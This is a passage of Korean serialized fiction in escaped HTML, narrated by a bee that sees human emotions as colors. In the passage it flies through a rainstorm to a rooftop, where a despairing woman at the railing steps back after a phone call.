&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 원래 관찰자였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;보는 것만으로도 벅찬 눈.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;색을 기록하고, 꿀로 옮기고, 다시 꽃과 벌집으로 되돌리는 순환의 일부.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 이제, 나는 가끔 꿀을 &amp;lsquo;되돌리지 않고&amp;rsquo; 쓰고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;문 손잡이 위에, 컵 뚜껑 위에, 누군가의 손이 스쳐 갈 자리에.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이건 선을 넘는 일일까.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아니면, 이 도시의 색을 조금 더 따뜻하게 만드는 일일까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;타인의 어두운 빛을 보면, 사람들은 두 가지를 한다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;피하거나, 바꾸려고 들거나.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 둘 사이에서 오래 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지금의 나는, 아마 그 사이 어딘가를 조심스럽게 걷고 있을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;완전히 피하지도, 그렇다고 노골적으로 바꾸려 들지도 않는 자리.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;작은 꿀 한 방울이, 누군가의 빛을 근본적으로 바꿀 수는 없다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;우울을 없애지도 못하고, 불안을 사라지게 하지도 못한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 나는 이제, 이렇게 말할 수는 있을 것 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lsquo;아주 작은 따뜻함은, 색의 온도를 바꾸어 놓는다.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 바뀐 온도가, 어떤 이에게는 &amp;ldquo;오늘 하루 정도는 더 버틸 수 있게 해 주는 힘&amp;rdquo;이 될지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;섞이고, 묻어 오는 빛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;해가 서쪽으로 기울 무렵, 나는 다시 하늘 위에 섰다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도시는 여전히 복잡한 색들로 흔들리고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;레몬빛 웃음, 노란 선, 금빛 실, 잿빛과 마젠타와 바이올렛, 그린과 블루와 레드.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 사이사이에, 오늘 내가 흘린 꿀 방울들의 색을 상상해 보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃에서 온 바이올렛과 옐로우, 카페의 오렌지, 사람들의 빛과 섞여 만들어진 새로운 색.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 직접 볼 수는 없지만, 어딘가에는 분명 존재하고 있을 조합들.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;빛을 섞는다는 건, 결국 책임을 조금씩 나누어 갖는 일일지도 몰라.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어떤 빛은 내 몸에 달라붙어서 떨어지지 않고,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어떤 빛은 내가 흘린 꿀을 통해 조금 더 따뜻해지고.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 개입한 자리와 개입하지 않은 자리를 구분하기는 점점 어려워진다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 도시의 색은 원래부터 서로에게 영향을 주고 있었고,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 이제 그 사이에 아주 작게 끼어들기 시작했을 뿐이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그래서일까, 요즘은 이런 생각이 든다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 관찰자와 개입자 사이, 딱 벌 한 마리가 설 수 있는 폭만큼의 좁은 경계 위에 서 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 위에서 할 수 있는 일은, 빛을 정확히 보려고 애쓰는 것과,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;가끔은 그 빛을 조금 더 따뜻하게 만들 수 있지 않을까 상상해 보는 것뿐이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘 실험이 성공이었는지 실패였는지는 모른다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다만, 문 손잡이와 컵 뚜껑, 작은 친절과 눈에 띄지 않는 손길 위에&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어딘가 조금 더 따뜻한 색이 생겨났을 가능성을, 나는 쉽게 포기할 수 없게 되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 가능성이 있는 한, 나는 내일도 또 한 방울의 꿀을 어디에 떨어뜨릴지 고민할 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 그 고민 자체가, 아마 내가 이 도시에서 빛과 함께 살아가는 방식일 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;7편 비는 색을 흐린다.&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;낮 동안 도시 위에 쌓였던 옐로우와 오렌지, 그린과 블루가, 밤비가 내리기 시작하면 하나의 짙은 남색으로 섞여 버린다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그날 밤, 도시는 거의 하나의 색으로 보였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;깊은 남색, 그 아래로 보랏빛이 천천히 번져 올라오는 색.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 색이 &amp;lsquo;위험한 밤&amp;rsquo;의 색이라는 걸, 여러 번의 비 오는 저녁을 겪으며 배웠다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;밤비와 바이올렛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비는 옥상 양봉장을 가차 없이 두드리고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;벌집 지붕 위로 물방울이 쏟아져 내릴 때마다, 밀랍 벽이 낮게 울렸다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다른 벌들은 안쪽으로 더 깊숙이 몸을 숨겼다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;날 수 없는 밤, 특히 이런 폭우 속의 밤에는, 밖으로 나갈 이유가 거의 없다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 나는 알고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이런 밤에야말로, 어떤 빛들은 가장 조용하게 무너지고, 또 어떤 빛들은 가장 격하게 흔들린다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영의 빛이 그중 하나일지도 모른다는 생각이, 하루 종일 내 가슴께를 눌렀다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;낮 동안 카페 안에서 본 그녀의 색은, 평소보다 더 지쳐 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옅은 옐로우는 거의 사라지고, 마젠타의 쉼도 깊게 내려가 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;대신 가슴께와 머리 주변에서 바이올렛이 짙어지고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;혼란과 성장통, 방향을 잃은 영혼이 내는 색.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;보통의 바이올렛은, 시간이 지나면 조금씩 다른 색과 섞이며 새로운 길을 만든다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 오늘의 바이올렛은, 어쩐지 끝으로 몰려 있는 색처럼 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비가 더 굵어지기 시작했을 때, 나는 결심했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;오늘 밤은, 나도 비를 맞아야 할 것 같다.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;마지막 비행을 향해&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;벌집 입구까지 나가는 길은, 낮과 전혀 다른 세계였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비의 소리가 모든 다른 소리를 덮고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛도 줄어들어, 색들은 대부분 어두운 계열로 뭉쳐 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 몸을 최대한 가볍게 만들었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꿀을 거의 싣지 않은 몸, 최소한의 에너지로 버텨야 하는 날개.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비를 뚫고 밖으로 나가는 순간, 거대한 물의 장벽이 내 몸을 내리쳤다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;날개가 젖었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한 번 떨 때마다, 물방울이 사방으로 튀었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;폭우 속에서 나는 오직 한 가지 색만을 따라갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상 쪽에서 올라오는, 짙은 바이올렛과 검푸른 잿빛의 혼합.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 색은 낮보다 훨씬 무거웠고, 훨씬 가까웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;바람은 거세게 불었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도시의 남색 배경 위에서, 가로등의 주황빛이 흔들렸다.&lt;/span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 사이를 헤치고, 익숙한 옥상을 향해 날아갔다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;난간 위의 결론 같은 순간&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상은 낮과 다른 장소처럼 느껴졌다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;손님들은 모두 돌아갔고, 테이블과 의자 위에는 비가 고여 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;카페 내부에서 새어 나오던 오렌지빛 조명은, 빗물에 번져 흐릿한 황금색으로 퍼지고 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;난간 옆에, 지영이 서 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그녀의 머리 위에는 더 이상 여러 색이 섞여 있지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;거의 하나의 어두운 바이올렛과, 그 아래에 고여 있는 검푸른 잿빛.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이제 더 이상 갈 곳이 없다는 사람의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 본능적으로 속도를 늦췄다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;너무 가까이 다가가면, 이 색에 휩쓸려 버릴 것 같았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 멀리서만 본다면, 오늘 밤 나는 이 옥상에 온 의미를 잃게 될 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영의 손이 난간 위를 더듬었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;손목 주변에서 희미한 레드가 번졌다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;분노와 체념이 마지막으로 치솟는 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비가 얼굴을 때리자, 그녀의 눈가를 타고 물이 흘렀다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;눈물인지 빗물인지 구분할 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 내 눈에는, 그 물줄기 주변에서 바이올렛이 더 짙어지는 것이 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 밤은, 그녀의 내면에서 이미 여러 번 반복되었을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오늘은 그 반복이 정답처럼 느껴지는 밤일지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아주 작은 계기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 생각보다 오래 고민하지 못했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;바람과 비가 선택을 앞당겼다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;날갯짓을 더 크게 했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;폭우 속에서 나는 소리가 거의 묻혀 버릴 것을 알면서도, 내 몸에서 낼 수 있는 가장 큰 진동을 만들어 냈다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;윙&amp;mdash;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비 소리, 바람 소리, 도시의 멀어진 소음 속에서, 내 소리는 거의 들리지 않았을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 빛은, 소리보다 더 멀리 간다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 몸 주변의 색을 모았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃에서 가져온 바이올렛과 옐로우, 카페 안에서 스며든 오렌지,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지하철과 공원과 병원에서 본 레몬빛과 금빛의 기억.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 모든 색을 떠올리며, 내 몸이 하나의 작은 등불이 되었다고 상상했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영의 등 뒤에서, 나는 그녀의 어깨 높이로 올라갔다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 난간 너머의 검은 낭떠러지와, 카페 안의 흐릿한 황금빛 사이 어딘가에서 멈춰 섰다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;정확히 그때, 카페 안에서 전화기가 울렸다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 전화를 울리게 한 것은 아니다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그렇다고 전화를 울린 우연이, 내 존재와 전혀 관계 없다고도 말할 수 없을 것 같다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;세상에서 가장 작은 존재의 날갯짓과, 세상에서 가장 작은 알림 하나가 서로를 통과해 지나가는 순간.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영이 흠칫했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;난간을 잡았던 손이 잠깐 힘을 풀었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 찰나, 손목 주변 레드가 약간 흐려졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그녀는 주머니에서 휴대폰을 꺼냈다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;화면이 켜지는 순간, 얼굴 근처에서 푸른빛이 잠깐 번쩍였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;메시지인지, 부재중 전화인지, 나로서는 알 수 없었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다만, 그 푸른빛 안에 아주 옅은 옐로우가 섞여 있다는 것만은 확실히 보였다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가의 목소리, 누군가의 이름, 누군가의 무심한 안부.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 작은 빛이, 이 밤의 바이올렛을 완전히 바꾸지는 못할 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 적어도 &amp;ldquo;지금 당장은 아니다&amp;rdquo;라고 말해 줄 수는 있을지 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;비틀어진 선택의 순간&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영은 난간에서 한 발짝 물러났다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;휴대폰 화면을 내려다보는 동안, 그녀의 빛은 빠르게 바뀌었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;검푸른 잿빛은 여전히 몸 안 깊은 곳에 남아 있었지만, 그 위로 올라오는 색이 달라졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;바이올렛은 여전히 강했지만, 가장자리에서 그린이 조금씩 번졌다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;관계의 색.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;누군가와 여전히 연결되어 있다는 증거.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그린과 바이올렛이 섞이는 자리에서, 마젠타가 아주 약하게 피어났다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;포용과 고독, &amp;ldquo;조금만 더 버텨 보자&amp;rdquo;는 마음의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;레드는 거의 사라지고 있었다.&lt;/span&gt;&lt;/p&gt;
